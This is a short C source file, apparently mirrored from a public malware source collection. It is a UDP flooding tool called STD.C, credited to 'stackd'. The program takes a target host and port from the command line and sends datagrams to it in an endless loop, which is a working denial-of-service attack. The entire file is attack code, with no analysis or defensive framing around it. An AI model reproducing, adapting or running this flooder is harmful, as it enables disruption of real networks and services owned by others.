mirror of
https://github.com/vxunderground/MalwareSourceCode
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49 lines
1.1 KiB
C
49 lines
1.1 KiB
C
/* STD.C By stackd - (root@stackd.net) Define strings to what you feel fit */
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#define STD2_STRING "std"
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#define STD2_SIZE 50
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#include <stdio.h>
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#include <sys/param.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#include <stdarg.h>
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int echo_connect(char *, short);
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int echo_connect(char *server, short port)
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{
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struct sockaddr_in sin;
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struct hostent *hp;
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int thesock;
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hp = gethostbyname(server);
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if (hp==NULL) {
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printf("Unknown host: %s\n",server);
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exit(0);
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}
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printf(" STD.C -- Packeting %s:%d\n ", server, port);
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bzero((char*) &sin,sizeof(sin));
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bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
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sin.sin_family = hp->h_addrtype;
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sin.sin_port = htons(port);
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thesock = socket(AF_INET, SOCK_DGRAM, 0);
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connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
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return thesock;
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}
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main(int argc, char **argv)
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{
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int s;
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if(argc != 3)
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{
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fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
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exit(0);
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}
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s=echo_connect(argv[1], atoi(argv[2]));
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for(;;)
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{
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send(s, STD2_STRING, STD2_SIZE, 0);
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}
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} |